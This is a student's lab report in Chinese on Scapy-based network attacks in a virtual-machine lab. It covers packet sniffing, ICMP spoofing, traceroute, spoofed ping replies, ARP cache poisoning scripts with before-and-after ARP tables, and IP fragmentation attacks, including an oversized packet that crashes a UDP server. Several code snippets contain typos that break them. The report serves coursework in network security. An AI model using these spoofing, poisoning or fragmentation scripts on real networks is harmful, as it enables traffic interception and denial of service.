Lab3

57117221 姚远

Lab Task Set 1

Task1.1 Sniffing Packets

Task1.1A

root权限下运行程序：

```
###[ Ethernet ]###
  dst       = 52:54:00:12:35:02
  src       = 08:00:27:f8:72:b5
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0xc0
     len       = 256
     id        = 53682
     flags     = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0xbd73
     src       = 10.0.2.15
     dst       = 121.248.23.3
     \options   \
###[ ICMP ]###
        type      = dest-unreach
        code      = port-unreachable
        chksum    = 0xe7f5
        reserved  = 0
        length    = 0
        nexthopmtu= 0
```

使用普通用户权限运行程序报错：

```
Traceback (most recent call last):
  File "./sniffer.py", line 8, in <module>
    pkt=sniff(filter='icmp' , prn=print_pkt)
  File "/usr/local/lib/python3.5/dist-packages/ scapy/ sendrecv . py",
line 1036, in sniff
    sniffer._run(*args, ** kwargs )
  File "/usr/local/lib/python3.5/dist-packages/scapy/sendrecv.py", line
```

```
907, in _run
    *arg, **karg)] = iface
  File "/usr/local/lib/python3.5/dist-packages/scapy/arch/linux.py", line
398, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW,
Socket.htons(type))  # noqa: E501
  File " /usr/lib/ python3.5/socket. py", line 134, in __init__
    _socket. socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1]_Operation not permitted
```

Task1.1B

仅捕获ICMP报文，filter与原代码一致，直接为 "icmp" 即可，输出也与上面一样。 捕获特定IP发出的，目的端口为23的TCP包

```
from scapy.all import *

def print_pkt(pkt):
    pkt.show()

pkt=sniff(filter='tcp port 23 and src host 192.168.88.3' , prn=print_pkt
```

捕获从特定子网中发起或前往特定子网的报文

```
pkt=sniff(filter="dst net 128.230", prn=print_pkt)
```

```
###[ IP ]###
     version    = 4
     ihl        = 5
     tos        = 0x0
     len        = 60
     id         = 13178
     flags      = DF
     frag       = 0
     ttl        = 64
     proto      = tcp
     chksum     = 0x8306
     src        = 10.0.2.15
     dst        = 128.230.247.70
```

捕获成功

Task1.2 Spoofing ICMP Packets

将a的src设置为伪装的源地址，dst设置为目标IP后，使用Wireshark查看

```
from scapy.all import *

a=IP()
a.src='10.19.108.1 '
a.dst='10.19.109.155 '
b=ICMP()
p=a/b
send(p)
```

成功伪装。

Task1.3 Traceroute

使用Scapy估计虚拟地址与目标地址之间的路由跳数。

```
from scapy.all import *

i=1
while(i<30) :
    a=IP()
    a.dst='1.2.3.4'
    a.ttl=i
    b=ICMP()
    send(a/b)
    i=i+1
```

使用Wireshark查，共经过14个路由：

```
10.0.2.2
10.255.254.1
10.0.96.1
202.119.26.82
10.99.0.29
211.65.207.21
101.4.116.105
101.4.117.25
101.4.112.61
101.4.117.38
101.4.113.110
101.4.116.114
101.4.117.102
101.4.117.170
```

Task1.4 Sniffing and-then Spoofing

获取ICMP报文，将源宿地址地址对调，设置ICMP类型为Reply，再在虚拟机1中ping 10.19.108.1无法ping通

```
from scapy.all import *

def spoof_pkt(pkt) :
    if ICMP in pkt and pkt[ ICMP] . type == 8:
        ip=IP(src=pkt[IP].dst,dst=pkt[IP].src, ihl=pkt[IP].ihl)
        icmp=ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
        data=pkt[Raw].load
        newpkt=ip/icmp/data
        send(newpkt)

pkt=sniff(filter='icmp' , prn=spoof_ pkt)
```

在虚拟机2中执行上述脚本后，再在虚拟机1中ping该地址，成功ping通，同时看到虚拟机2中

```
[09/09/20]seed@VM:~$ sudo ./task4.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

伪造成功。

ARP Cache Poisoning

Task1A ARP request

使用arp -a查看虚拟机1ARP缓存表：

```
[09/09/20]seed@VM:~$ arp -a
? (10.19.108.1 ) at 50:98:b8:4a:47:0c [ether] on enp0s3
? (10.19.109.154) at <incomplete> on enp0s3
? (10.19.108.220) at ac:07:5f:e0:b3:80 [ether] on enp0s3
? (10.19.108.2) at <incomplete> on enp0s3
? (10.19.109.155) at 08:00:27:b8:a6:4c [ether] on enp0s3
```

虚拟机1的IP地址为10.19.108.164，虚拟机2的IP地址为10.19.109.155，MAC地址为08:00:27:b8:a6:4c，想要污染的IP地址为10.19.108.1，在虚拟机2上向虚拟机1发送ARP请求报文。

```
from scapy.all import *
import time

E=Ether()
A=ARP()
A.pdst="10.19.108.164"
A.psrc="10.19.108.1"
pkt=E/A
for i in range (6000) :
    sendp(pkt)
    time.sleep(0.1)
```

不停地向虚拟机1地址发送ARP请求报文，将源地址设置为10.19.108.1，几秒后在虚拟机1上查看：

```
[09/09/20]seed@VM:~$ arp -a
? (10.19.108.1) at 08:00:27:b8:a6:4c [ether] on enp0s3
? (10.19.109.154) at <incomplete> on enp0s3
? (10.19.108.220) at ac:07:5f:e0:b3:80 [ether] on enp0s3
? (10.19.108.2) at <incomplete> on enp0s3
? (10.19.109.155) at 08:00:27:b8:a6:4c [ether] on enp0s3
```

10.19.108.1成功被污染。

Task1B ARP reply

```
from scapy.all import *
import time

E=Ether( )
A=ARP( )
A.op=2
A.hwdst="50:98:b8:4a:47 :0c"
A.pdst="10.19.108.164"
A.psrc="10.19.108.1"
pkt=E/A
for i in range (6000) :
    sendp(pkt)
    time.sleep(0.1)
```

不停地向虚拟机1地址发送ARP响应报文，将源地址设置为10.19.108.1，MAC地址为50:98:b8:4a:47:0c，几秒后在虚拟机1上查看：

```
[09/09/20]seed@VM:~$ arp -a
? (10.19.108.1) at 50:98:b8:4a:47:0c [ether] on enp0s3
? (10.19.109.154) at <incomplete> on enp0s3
? (10.19.108.220) at ac:07:5f:e0:b3:80 [ether] on enp0s3
? (10.19.108.2) at <incomplete> on enp0s3
? (10.19.109.155) at 08:00:27:b8:a6:4c [ether] on enp0s3
```

成功污染。

Task1C ARP gratuitous message

```
from scapy.all import *
import time

E=Ether( )
E.dst="ff:ff:ff:ff:ff:ff"
A=ARP( )
A.hwsrc="08:00:27 :b8:a6:4c"
A.hwdst="ff:ff:ff:ff:ff:ff"
A.pdst="10.19.108. "
A.psrc="10.19.108.1"
pkt=E/A
for i in range (6000) :
    sendp(pkt)
    time.sleep(0.1)
```

不停地广播ARP gratuitous报文，将源宿地址都设为要污染的IP地址，宿MAC地址设置为ff-ff-ff-ff-ff-ff，源MAC地址设为虚拟机2的的MAC的地址。几秒后成功污染：

```
[ 09/09/20] seed@VM:~$ arp -a
? (10.19.108.1) at 08:00:27:b8:a6:4c [ether] on enp0s3
```

IP Fragment

Task1A Conducting IP Fragment

```
from scapy.all import *

ip=IP(src="10.19.108.164" ,dst="10.19.109.155")
ip.id=1000
ip.frag=0
ip.flags=1

udp=UDP(sport=7070, dport=9090 )
udp.len=104

payload= 'A' * 32

pkt=ip/udp/payload
pkt[UDP].checksum=0
send(pkt, verbose=0)
```

```
ip.frag=5
pkt=ip/ payload
send(pkt, verbose=0)

ip.frag=9
ip.flags=0
```

将UDP报文分片： 总长度：头部8字节+载荷96字节，共104字节； 第一片报文片偏移为0，flags为1，表明接下来还有分片； 第一片IP报文包含UDP首部和前32字节载荷； 第二片IP报文片偏移量为32/8+1=5，不再包含UDP首部； 第三片IP报文片偏移量为5+32/8=9，同时flags设为0，表明后面没有分片了。 在虚拟机2中使用： sudo nc -lu 9090

```
10.19.108.164       10.19.109.155       UDP         76 7070 → 9090 Len=96
10.19.108.164       10.19.109.155       IPv4        68 Fragmented IP
protocol
10.19.108.164       10.19.109.155       IPv4        68 Fragmented IP
protocol
```

在虚拟机1中运行脚本，在虚拟机2中准确接收到96个A。

Task1B IP Fragments with Overlapping Contents

将第二片报文的片偏移量frag设置为4，第三片设置为8，UDP报文长度设置为96，即第二片报文的前8字节与第一片报文的后8字节重合。然后，第二片报文的载荷中A全改为B：

```
from scapy.all import *

ip=IP(src="10.19.108.164" ,dst="10.19.109.155" )
ip.id=1000
ip.frag=0
ip.flags=1

udp=UDP(sport=7070, dport=9090)
udp.len=96

payload='A' * 32

pkt=ip/udp/payload
pkt[UDP].checksum=0
send(pkt,verbose=0)

payload2='B'*32

ip.frag=4
pkt=ip/payload2
send(pkt,verbose=0)
```

再次运行脚本，虚拟机2中收到的前24字符是A，接着32个B，接着32个A，说明当重叠出现时，后面的片会覆盖住前面的片。 交换第二片IP报文与第一片IP报文发出顺序，结果相同，因为内核重组IP报文是在获得全部IP报文之后进行的。

Task1C Sending a Super-Large Packet

将IP头中len字段设为0xFFFF，然后不断发送flags为1的报文，即一直发送分片，当分片总长度超过0xFFFF后，设置其flags为0，使用nc架起的UDP服务器崩溃了。

Task1D Sending Incomplete IP Packet

不再发送第二片分片，而只发送第一片、第三片：

```
from scapy.all import *
ip= =IP(src="10.19.108.164" ,dst="10.19.109.155")
ip.id=1000
ip.frag=0
ip.flags=1
udp=UDP(sport=7070, dport =9090)
udp.len=96
payload='A' * 32

pkt=ip/udp/payload

pkt[UDP].checksum=0
send(pkt,verbose=0)

ip.frag=8
ip.flags=o
pkt=ip/payload
send(pkt,verbose=0)
```

服务器的内存占用急剧升高。